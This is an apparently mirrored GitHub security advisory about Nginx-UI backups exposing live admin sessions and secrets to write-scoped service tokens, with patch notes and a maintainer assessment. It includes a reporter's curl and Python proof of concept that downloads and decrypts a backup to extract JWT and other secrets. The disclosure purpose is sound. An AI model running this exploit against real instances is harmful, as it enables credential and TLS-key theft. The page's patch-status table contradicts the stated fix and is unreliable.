GHSA-HF3H-P3FR-3F2R
Full backup exports expose reusable interactive login sessions to management credentials
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HF3H-P3FR-3F2R divulgada · CVSS 6.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An `api:write` service token can export a full backup. Before 2.9.1, the application database inside that backup included still-active interactive login sessions. Replaying an exported, still-active session gives the holder an interactive administrator session, which reaches routes that service tokens are denied (user and token management, 2FA, protected settings). Accounts with an enrolled factor still require a fresh secure-session step-up.
This does not allow forging JWTs: every session must match a stored record. It does not bypass MFA and does not revive sessions that were revoked or expired. Exporting backups with `api:write` remains an intended capability.
Patches
Fixed in 2.9.1 (71cec89618 https://github.com/0xJacky/nginx-ui/commit/71cec89618): new backups omit login sessions and secure-session records, compact the staged database, and exclude live SQLite sidecars and aliases. Archives created before 2.9.1 are not rewritten.
Workarounds
Enable 2FA on administrator accounts. Treat backups made before 2.9.1 as containing live sessions, and sign out existing sessions after upgrading.
---
Original report
The impact claims below were narrowed by the maintainer assessment at the end: JWT forgery and full takeover were not demonstrated.
Summary
A write-scoped service token (api:write) can download a full backup via GET /api/backup, including the AES decryption key in the X-Backup-Security response header. The decrypted backup contains app.ini (JWT secret, crypto secret, node secret, OAuth secrets), the complete SQLite database, and the entire nginx config directory including TLS private keys — enabling complete instance takeover.
Details
Root Cause
The `GET /api/backup` endpoint is listed in `serviceTokenWriteGETPaths` (`internal/middleware/middleware.go:68`), granting write-scoped service tokens access. The endpoint uses `RequireSecureSession()` middleware, but write-scoped service tokens bypass this check entirely (`internal/middleware/secure_session.go:80-89`).
The `CreateBackup` handler in `api/backup/backup.go` has no `IsServiceTokenRequest` check, unlike sibling sensitive-data handlers:
- `api/certificate/dns_credential.go:42` — checks `IsServiceTokenRequest`, returns redacted data
- `api/certificate/acme_user.go:45` — checks `IsServiceTokenRequest`, returns redacted data
- `api/backup/auto_backup.go:121` — checks `IsServiceTokenRequest`, returns redacted data
The backup endpoint bypasses ALL field-level redaction since it returns raw files, not API responses.
What the Backup Contains
- `app.ini` — `JwtSecret` (forge any admin JWT), `crypto.Secret`, `node.Secret`, `casdoor.ClientSecret`, `oidc.ClientSecret`, `openai.Token`, `sls.AccessKeyId/Secret`
- `database.db` — All users, all service tokens, all stored credentials (DNS keys, ACME EAB, S3 secrets), certificate metadata
- Entire nginx config directory — All TLS private keys under `ssl/`, all site configurations
The backup is AES-256-CBC encrypted, but the key+IV are returned in the `X-Backup-Security` HTTP response header (`backup.go:35`), rendering encryption meaningless for access control.
Relation to Previous Fixes
This is NOT a duplicate of CVE-2026-27944 (GHSA-g9w5-qffc-6762), which was about unauthenticated access (PR:N, fixed in v2.3.3 by adding `AuthRequired()`).
This vulnerability was introduced by the service token scope system (commit `9594b04d`, fixing GHSA-pw4f-pq6v-x57r). That commit added `/api/backup` to `serviceTokenWriteGETPaths` without also adding it to `serviceTokenInteractivePaths` or adding an `IsServiceTokenRequest` check in the handler.
Suggested Fix
Option A — Block service tokens entirely:
// Add to serviceTokenInteractivePaths in middleware.go
var serviceTokenInteractivePaths = map[string]struct{}{
"/api/backup": {},
// ...existing entries
}
Option B — Add handler-level check:
func CreateBackup(c *gin.Context) {
if internalmcp.IsServiceTokenRequest(c) {
cosy.ErrHandler(c, ErrBackupNotAllowedForServiceTokens)
return
}
// ...existing code
}
### Proof of concept
### Prerequisites
- Nginx-UI instance (tested on v2.8.4, Docker, localhost only)
- A write-scoped service token (api:write)
### Steps to Reproduce
1. Log in as admin, create a write-scoped service token via POST /api/service_tokens
2. Use the service token to download a backup:
```bash
curl -H "Authorization: Bearer <write_service_token>" \
-v http://localhost:9000/api/backup \
-o backup.zip- Extract the AES key+IV from the `X-Backup-Security` response header (format: `base64_key:base64_iv`)
- Decrypt the inner archives using AES-256-CBC with PKCS#7 padding:
import base64, json, urllib.request, zipfile, io
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
SERVICE_TOKEN = "<write-scoped-token>"
BASE = "http://localhost:9000"
# Download backup with service token
req = urllib.request.Request(
BASE + "/api/backup",
headers={"Authorization": "Bearer " + SERVICE_TOKEN}
)
resp = urllib.request.urlopen(req)
backup_data = resp.read()
security_header = resp.headers["X-Backup-Security"]
# Parse AES key+IV from header
aes_key_b64, aes_iv_b64 = security_header.split(":")
key = base64.b64decode(aes_key_b64)
iv = base64.b64decode(aes_iv_b64)
# Extract and decrypt nginx-ui.zip
outer_zip = zipfile.ZipFile(io.BytesIO(backup_data))
encrypted_data = outer_zip.read("nginx-ui.zip")
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
decrypted = decryptor.update(encrypted_data) + decryptor.finalize()
decrypted = decrypted[:-decrypted[-1]] # Remove PKCS#7 padding
# Extract app.ini with JWT secret
inner_zip = zipfile.ZipFile(io.BytesIO(decrypted))
app_ini = inner_zip.read("app.ini").decode()
print("app.ini extracted — contains JwtSecret, crypto.Secret, node.Secret")Verified Results (v2.8.4, commit fa92e515)
- Backup downloaded: 23,057 bytes (HTTP 200)
- AES key+IV extracted from X-Backup-Security header
- Decrypted nginx-ui.zip → app.ini (3,406 bytes) + database.db (425,984 bytes)
- Decrypted nginx.zip → 15 files including ssl/poc-cert_1/private.key (1,704 bytes)
- app.ini contains: JwtSecret, crypto.Secret, node.Secret, casdoor.ClientSecret, oidc.ClientSecret, openai.Token
### Control Tests
- Read-scoped token on GET /api/backup → 403 Forbidden (correct: requires write scope)
- Write-scoped token on GET /api/settings/protected → 403 Forbidden (correct: uses RequireInteractiveUser)
Impact
- Complete instance takeover via JWT secret forgery — attacker creates admin tokens for any user
- All TLS private keys exposed — enables MITM attacks on all managed domains
- All stored credentials exposed — DNS provider API keys, ACME EAB credentials, S3 secrets, OAuth client secrets, OpenAI API tokens
- All user accounts and service tokens exposed from the SQLite database
- Node/cluster secrets exposed — enables lateral movement in cluster deployments
- Bypasses all field-level redaction introduced by the GHSA-pw4f-pq6v-x57r fix, since the backup returns raw files instead of API responses
---
Maintainer verified assessment (2026-10-18)
Accepted as a confirmed management-token to interactive-session exposure. An actual v2.9.0 backup contains active JWT bearer credentials in auth_tokens. Replaying an exported, still-active JWT reaches interactive identity routes; for a password-only account it also permits service-token creation. With MFA enrolled, fresh step-up is still enforced. This does not demonstrate arbitrary unmatched-JWT forgery, universal MFA bypass, or resurrection of a session revoked in the live database without a privileged restore.
The local remediation removes auth_tokens and development secure-session rows from newly generated application DB snapshots, including physical free-page remnants, while preserving source sessions, existing management backup authorization, persistent application records, and committed WAL data. Backup archive/copy paths also recognize live-DB aliases and exclude its SQLite sidecars. Newly generated backups restore accounts and configuration, and require a fresh login after restoration. Existing historical archives are not rewritten or invalidated.
The fix shipped in v2.9.1 (71cec89618 https://github.com/0xJacky/nginx-ui/commit/71cec89618). The source report and original reporter credit are retained above.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/0xJacky/Nginx-UI |
Sin parche | — | — | v1.9.9 afectada |
2.9.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-hf3h-p3fr-3f2rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
